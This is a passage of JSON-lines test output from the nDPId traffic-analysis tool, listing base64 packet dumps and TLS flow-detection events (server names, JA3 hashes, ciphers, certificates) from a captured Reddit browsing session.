S2m\/eH3+l1Trv6sJdxNups+MjeNOHGFalJDQ3jf3TmlM54Bk0fXr2jlomHn3yDVGga4LeGwyoqGN8r3mBjH2VtVuLPOL\/zWBpgQy+2zJuL9hByN46\/xHqzCtP2EMPLSnlzFGyhfly1B5YAsVjNRzl\/AL7g29aBDgBQCanzoHZPh5d7uLrnXkrw15kzkvqXSpJsoHK9y2n7Qk"} +00886{"flow_id":55,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9473,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":27452,"pkt_caplen":405,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":405,"pkt_l4_len":351,"pkt":"qtsDr8lk5EKm5WPyht1gBnVWAV8GQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGQBuyviwX1MvxYqgBgB9YLnAAABAQgKuJU7mcLXS+oXAwMBOmTEGPS0HjNL2qxRKJ48zp4i94iG3tI6Um1hoS+75m1iVPk7drvao9YWv2CTjM6r39OqZ+iwr0lvym1FHDFW8MVtHTrBB7gOSS7u+nbC8pcEJ6U+841PIMfF2mxhUgDSHgJmpdvQQhfz5HWX9\/Niqs2CL5JiFQghBRS791+sdI0PvPHB3M8A9RQe98lZXcHK5ngeXOLFdwoFo8ryc1WdIfztjKmCOvK+c6++rZ6dmOIPaEj4qB5KJDva6Swd3lVKfm+BD3F0O4yLoy0ytWO3Z1oadeQbfAemDpYogZ17uYmiNzZX1aYNHNs4k4\/LsmqvHNMRU2FE8DC22gUdMJTP5jXYIdzT\/JM1TYJAOTSn3Djyf4Mbx+x+CDpvSf8vVScw8\/WI+9AY\/bF2XyIJRXbbm85Hr7lXPlTJ8nPg"} +00867{"flow_id":55,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9474,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":27669,"pkt_caplen":389,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":389,"pkt_l4_len":335,"pkt":"qtsDr8lk5EKm5WPyht1gBnVWAU8GQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGQBuyviwrxMvxYqgBgB9YA2AAABAQgKuJU7mcLXS+oXAwMAVP1IkbUWnjLBlNlFhUNFWTOG6YHBpUNrXkV78i777pOiohqDKYXqJ3Kb8W1B44\/t4wkO39ldVrQKO6dgmUU9CTYHuZLlzjYVZgaMCkZ+SvMnM6pfdhcDAwBCRgFWM+2zevw8nbY7HasJozKPLAphiWXMh9N9PJAPLGfOQ1m5zbpyTgKofSG6yz1Nmk4C6Sk8fkAp4cyZFBFDC3qkFwMDAEPGNRh4fzpQ4mnnbra7Y5HQ0PjY9RV0Np38CfUFCVU5maxX+VDwbUqqPwS30dX2JKR\/3Al+8XF6QUx+\/v7e1paRovGLFwMDAEJTx7v5Q8v3PLwasK\/EcUrslIgMS81fkPXEoF\/PiDbgXjnPVV22mYbxM8c8YPUQyqB\/XRPC+0flxQfFhkJ0RW21W8w="} +00466{"flow_id":59,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9475,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":29572,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQbO1037mLrsxooBJXgErvAAACBAV4AQMDAwQCCArC10wIuJU7dg=="} +00438{"flow_id":59,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9476,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":29601,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gBfK\/ABQGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGwBu4uuzGgAAAAAUAQAANo6AAA="} +00455{"flow_id":54,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9521,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":43955,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgRAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbuVFgHH5b5kCsxMgBALOAsjAAABAQgKwtdMDqpUDQc="} +00455{"flow_id":56,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9532,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":47853,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQZgWfXKNjbNnkgBALOEtWAAABAQgKwtdMEriVO5M="} +01244{"flow_id":56,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9539,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":48044,"pkt_caplen":666,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":666,"pkt_l4_len":612,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAmQGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQZgWfXKNjbNnkgBgLODzDAAABAQgKwtdMFLiVO5MXAwMCAfDuC5tHBHrJ38SfszoJkmXcB9pn+xduV\/BiurI9XtPqkXKlZ0R\/aOVQS8WX9h2yV4qtk68MWBHup9WwkbTMD8Msne5+IPANlx1uTjtdVCxnQw9D+Lvj1zGIvbeevdtYHGX0dMR62tz3wSTydgXd9qNtmQpj8O7C9yWeTSoBuJBP2eykQwb2P9jPjRJZR4qAkZHkzFIWuKcbtK9PzxzbGBF5UFilXhKb1KP3up8CX4qp6Kwa1TwZ3Uc1sCiOFDZczSPTKrvDMh\/cmor5xITlS2qhCOhIx\/Yj3oxKxI8kHmjuTNCRRrAUGpz4FmFYwj2gIdpXFbMezJCIhyEdpPoEPzZLCt6fZE41C\/BZ1\/W4OwZ3tRc+0VEDMODJQ8OuQwyZXmqiNWYXET7lunHFQ6EOga80sS02\/bDIFWp3E+dsH5\/iHa73aPDVvjDgYTZZ69N7Armjtv9NAElRAQf0DuR6eOnwK4FSR3XI47lKkDV1Q\/FRbRvIt8Jme8IkyDp6co5n4wY2wznfFT+mNJwX3DaqHUMjABvuMPXD7ys\/bK0EekxcNDB0\/4K97QJ0+MXCLuzgak2fFklTOA5lBkccYNUhSTOg5+MfRXdx2O\/LcoCiT5I3cGi9Bu3xp8+TKQFU3A2uN95NRGwAkmZEpPUk4iwnaO16azSHLMXuBZpqv4vmSNyTZhcDAwA5Q\/g56rZ1vEPZC7ZQtPLcsNNMtaTrDPCDd2u9yLqSvdtdChYfINDuvXTD\/ecenSD+9RDuyJfoXvdK"} +00455{"flow_id":58,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9548,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":51567,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQan0OzI4YaA1rgBALOHtnAAABAQgKwtdMHriVO5U="} +01241{"flow_id":58,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9553,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":54527,"pkt_caplen":666,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":666,"pkt_l4_len":612,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAmQGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQan0OzI4YaA1rgBgLOOvoAAABAQgKwtdMH7iVO5UXAwMCAZAcfi0uwAAwFivFc4YhCppadXBIuIK7T\/8f1HDeuB+5qzO1DGNLL5zuOujdx\/TprXEB1eJeH6+wpCfhguFEJioc6w8leGFw\/JJK7FQHFE+otEwIMWGekXm7Z9uRtCzwzyBf7QNDDHNLJ5V15v+PlM\/KEQkm2Z9ZpQsAMvvs9Ls3KZ3e2yPXGBsc4lOGsGSzCp0DRxU48RWxrBBY14xRcKl48Km+nisNbc5XUUctzvY271fQdK3QD5rQt5NfsKq6EZadXhJq\/iXRmNj67BDq7Cw7Uu0Ecp6YexUjWgAenUZGyOA3NR290x08LsGaT3MavV1Xo0HIxLqg1Yv9t9BwTEy+\/DC3Lw9oLftquAFE9Pzc489smBInZLcv+\/wXSm2Q0quM78q3t8VleKi6u9RkqnCixEg6Gb95WgNyQGTUUzXPfbG2A+qKo5Fbz2vhbSWV1uUmFhiek4xvmoMRCQKLBlzZPjgYVjsPjXocCGJQ8wTw8\/bWP6fcdIQ0HpPj+hg8xoV3k\/Vu9ZMzywY85vXbYVrMGM81nC15OV8eeV\/gAA9rBkzmvfe1V4aZl1dysolmigs6XhwFExY84G5+vEeisamMNbrVd058uWzllhirMTa57sthS7odBP2klIj+SJRb4hJTry6ZCb9N9Zs7BX+Ta68XUL8zHMTH0ahlsSujzf9DABcDAwA5E8idCfDkKhlap\/NHKo7P3Iix98blFdwqTBsnUrodT0PB1ZUP8n9wDfI4KMISNb772WRXooelPd3R"} +00455{"flow_id":57,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9555,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":61013,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQaPhC0dieEC9HgBALMFN6AAABAQgKwtdMJbiVO4I="} +00455{"flow_id":57,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9557,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":61016,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQaPhC0dieEC+IgBALOFMcAAABAQgKwtdMJbiVO5c="} +00508{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11226,"source":"reddit.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1605291696948,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::34d3:acec","src_port":47006,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11226,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291696,"pkt_ts_usec":948991,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDNdJACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA006zst54Bu3jHKBQAAAAAoAL9IL45AAACBAWgBAIIClIhuaMAAAAAAQMDBw=="} +00469{"flow_id":60,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11227,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291696,"pkt_ts_usec":965238,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAADTTrOwqAcsBIEmLB5kd7IUo3\/YpAbu3nh9OKxV4xygVoBJXgPOCAAACBAV4AQMDAwQCCArC12M3UiG5ow=="} +00455{"flow_id":60,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11228,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291696,"pkt_ts_usec":965302,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDNdJACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA006zst54Bu3jHKBUfTisWgBAB+3eDAAABAQgKUiG5tMLXYzc="} +01152{"flow_id":60,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11229,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291696,"pkt_ts_usec":965939,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDNdJAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA006zst54Bu3jHKBUfTisWgBgB+wO1AAABAQgKUiG5tMLXYzcWAwECAAEAAfwDAwHqoerYjfOaFlsdXktRRD3igdgx3qxQ0CcSKew4vtFlIIbnh\/g\/aalJEnrSSRBrTzEV6+fgBkXEzuoX27iz\/grEACA6OhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZOKigAAAAAAGAAWAAATZDkuZmxhc2h0YWxraW5nLmNvbQAXAAD\/AQABAAAKAAoACMrKAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApysoAAQAAHQAgPbO2qWewDD8TkBGwdmJPtUCWKvxNvYBt\/Ur80maJ31sALQACAQEAKwALCgoKAwQDAwMCAwEAGwADAgACWloAAQAAFQDJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00816{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11229,"source":"reddit.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":4,"flow_first_seen":1605291696948,"flow_last_seen":1605291696965,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::34d3:acec","src_port":47006,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"d9.flashtalking.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00456{"flow_id":60,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11230,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291697,"pkt_ts_usec":12854,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAADTTrOwqAcsBIEmLB5kd7IUo3\/YpAbu3nh9OKxZ4xyoagBALMGwaAAABAQgKwtdjZlIhubQ="} +02330{"flow_id":60,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11233,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291697,"pkt_ts_usec":33621,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAADTTrOwqAcsBIEmLB5kd7IUo3\/YpAbu3nh9OKxZ4xyoagBgLMP5sAAABAQgKwtdjeVIhubQWAwMAWQIAAFUDA4nalEUe\/i3PlP8MtHnHshFwjy7LA54oW6LIgCj\/nKWTIMGehQMoFBhvSm1NPSTm6gzz4e6FdiJV5KVle0i\/UzkYwC8AAA3\/AQABAAALAAQDAAECFgMDE\/YLABPyABPvAAaKMIIGhjCCBW6gAwIBAgIIS5nocKKwsRYwDQYJKoZIhvcNAQELBQAwgbQxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjEtMCsGA1UECxMkaHR0cDovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMTMwMQYDVQQDEypHbyBEYWRkeSBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMjAwODA2MTAzMDI4WhcNMjEwOTE3MTE0MTU2WjA9MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxGDAWBgNVBAMTD3RhZy5kZXZpY2U5LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMzfdDJcV\/9lshwyJ6w2q7YIsHiOF0wXm8r4ts5IJ0rrYJvwXqOhCgkik3YLzEZ3Z1kLLQDNp6GAWPklsbjVj1ESiWDcQPtCYbV091M6kYQ90l185MDPDri4AVmvMj65utVymPOkpJBp3AI4Rwfob2lom8ExGvnzUKzLIIUCR8kgPZLQbjsBmcFlmhiF1cOemy2mY+zPQyPx+R3+0ZXnZ4m4PS65rNMR8Ow3X4Ai4DBs8oyG72UBunfnevFhWzGieCkVEJLj5\/P3g2eeHiTV9xz9gUzjC29jlBNi5jHLpFtP\/YSfC92fdz1fXXFYjWr3ZRPK8EOEsZ3sSK45eSUGLKcCAwEAAaOCAxAwggMMMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA4GA1UdDwEB\/wQEAwIFoDA4BgNVHR8EMTAvMC2gK6AphidodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkaWcyczEtMjE4OC5jcmwwXQYDVR0gBFYwVDBIBgtghkgBhv1tAQcXATA5MDcGCCsGAQUFBwIBFitodHRwOi8vY2VydGlmaWNhdGVzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMAgGBmeBDAECATB2BggrBgEFBQcBAQRqMGgwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzBABggrBgEFBQcwAoY0aHR0cDovL2NlcnRpZmljYXRlcy5nb2RhZGR5LmNvbS9yZXBvc2l0b3J5L2dkaWcyLmNydDAfBgNVHSMEGDAWgBRAwr0njsw0gzCiM9f7bLPwtCyAzjBzBgNVHREEbDBqgg90YWcuZGV2aWNlOS5jb22CE3d3dy50YWcuZGV2aWNlOS5jb22CDWZwLnplbmFwcy5jb22CHnRoZS5zY2llbmNlYmVoaW5kZWNvbW1lcmNlLmNvbYITZDkuZmxhc2h0YWxraW5nLmNvbTAdBgNVHQ4EFgQU9MV04ILbzDyVlwgiNzG8P\/\/79aEwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXPDUnt0AAAEAwBHMEUCIDf1NAS8rmNUuddvxCcVUmBg\/MdwKG\/FsJbzlfrmukFrAiEAsXMs6b7hEO7E+I7yrtsiVXqwbsLj9eCWzbLyypOp\/1IAdw=="} +00872{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":11233,"source":"reddit.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":6,"flow_first_seen":1605291696948,"flow_last_seen":1605291697033,"flow_tot_l4_data_len":2113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":352,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::34d3:acec","src_port":47006,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"d9.flashtalking.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02327{"flow_id":60,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11234,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291697,"pkt_ts_usec":33623,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAADTTrOwqAcsBIEmLB5kd7IUo3\/YpAbu3nh9OMIJ4xyoagBgLMPm0AAABAQgKwtdjeVIhubQAXNxDkv7mq0VEsV6a1FbmEDf71fpH3KFzlLJe5vbHDsoAAAFzw1J8xgAABAMASDBGAiEA752vHhkTjVwt56k1hXMqwTg+06DnW30jrEAiG0HUgSUCIQCYY3uSx34pHrQaHKaOOzERrwiH3oYLUYiwKPxzq0xpGzANBgkqhkiG9w0BAQsFAAOCAQEADq7xLgVRR8P0o2et\/sGg7DD5McDzRdnTbwBMXeW0ovBJH5ieCPlAYSdnB8z7lQtvNwRQ78312bnCn6RTF38NcsWdd+PNp7jGnwCEERL2vX9Vwt2XMzERaPqKyk9A5MXDsgLSQT8p+Dq45bsCQ0KhNlSyBZRQGyeLkIiV07v0g0Zh40pMKsdcEnpn\/Gnf98PaLZojXryTBP5dse10kQszHTa9wZRzPkBUduJ2FORZaawhbyFzaAIiQWBmkX3JF\/8E3rPx\/F6wkcOgIkOtTZPNCTco00vhFGy5NJ7Nfo4UMBVZCqPNNtb8rkpWTCXCCPJHYvoVe2vcbc7CNtfjroHDbwAE1DCCBNAwggO4oAMCAQICAQcwDQYJKoZIhvcNAQELBQAwgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8GA1UEAxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjAeFw0xMTA1MDMwNzAwMDBaFw0zMTA1MDMwNzAwMDBaMIG0MQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xLTArBgNVBAsTJGh0dHA6Ly9jZXJ0cy5nb2RhZGR5LmNvbS9yZXBvc2l0b3J5LzEzMDEGA1UEAxMqR28gRGFkZHkgU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAueDLENSvdr3Uk2LrMGS4gQhswwTZYheOL\/8+Zc+PzmLmPFIc2hZFS1WreGtjg2KQzg9pbJnIGhSLTMxFM+qI3J6jryv+gGGdeVfEzy70PzA8XUf8mha8wzeWQVGOEUtU+Ci+0Iy+8DA4HvOwJvhmR2Nt3nEmR484R1PRRh2049wA6kWsvbxx2apvANvbzTA6eU9fTEf4He9bwsSdYDuxskOR2KQzTuqz1idPrSWKpcb01dCmrnQFZFeItURV1C0qOj74uL3pMgoClGTEFjpQ8Uqu53kzrwwgB3\/o3wQ5wmkCbGNS+nfBG8h0h8i5kxhQVDVLaU68O9NJLh\/cwdJS+wIDAQABo4IBGjCCARYwDwYDVR0TAQH\/BAUwAwEB\/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFEDCvSeOzDSDMKIz1\/tss\/C0LIDOMB8GA1UdIwQYMBaAFDqahQcQZyi27\/a9BUFuIMGU2g\/eMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZ29kYWRkeS5jb20vMDUGA1UdHwQuMCwwKqAooCaGJGh0dHA6Ly9jcmwuZ29kYWRkeS5jb20vZ2Ryb290LWcyLmNybDBGBgNVHSAEPzA9MDsGBFUdIAAwMzAxBggrBgEFBQcCARYlaHR0cHM6Ly9jZXJ0cy5nb2RhZGR5LmNvbS9yZXBvc2l0b3J5LzANBgkqhkiG9w0BAQsFAAOCAQEACH5skxDIOLiWqQ=="} +02247{"flow_id":60,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11235,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291697,"pkt_ts_usec":33624,"pkt_caplen":1406,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1406,"pkt_l4_len":1352,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABUgGPQBk\/5sAAAAAAAAAADTTrOwqAcsBIEmLB5kd7IUo3\/YpAbu3nh9ONe54xyoagBgLMElbAAABAQgKwtdjeVIhubSQS\/+hX08E72w+nIgGyVCPpnP3VzEbvrzkL9v4utNb4LTn5nliDgyi12pjczG19ahIpDsILaJdkNe0fCVPEVYwxLZEnXssneVe5u8MYaq\/5Cob7oSeuIN9wUPORKcTcA2RH\/TIE62DYNnYcqhzJB61rCIOyheJYlhEG6uJJQEAD83EG2LbUbTTD1Eqm\/S8c\/x2zjakzdnYLOqum\/UqspDRTXUYij+KQZAjfVtL\/qQDWJtGssNgYIP4fVBBzsKhkMO77wIv0hVU7kQV2Qqup4oz7bEtdjYm3ATrn\/dhHxXch2\/uRpYoraEmfQoJpy4Eo428+LwEMAEABIEwggR9MIIDZaADAgECAgMb5xUwDQYJKoZIhvcNAQELBQAwYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDAxMDEwNzAwMDBaFw0zMTA1MzAwNzAwMDBaMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC\/cWII8fpZNPcbyRij94BJWOkigxOmxSBDATuE8eaFSZ8n6vaEG06gtNtwmMcyAbEFPgdO7vT6Ty9ZMCLnqxlWa+KAB\/zzFnWAOVF75fk1tnROqY2CE+S2P6kDg\/qivooVan\/eC8O2GRQFyurDqASUO0Z8Mg3zAGYiyI1pbTaMERi307IcYLQ4+gKMztPdRgfeCj7rXXzIfPuwK1OkkmJpUSUFYRpEgYwsqUOWI9+sOoGaDinFHKnpXR62np4wCjnO8YiA+0tdzDLshWJDJTQCVicBkbQ7c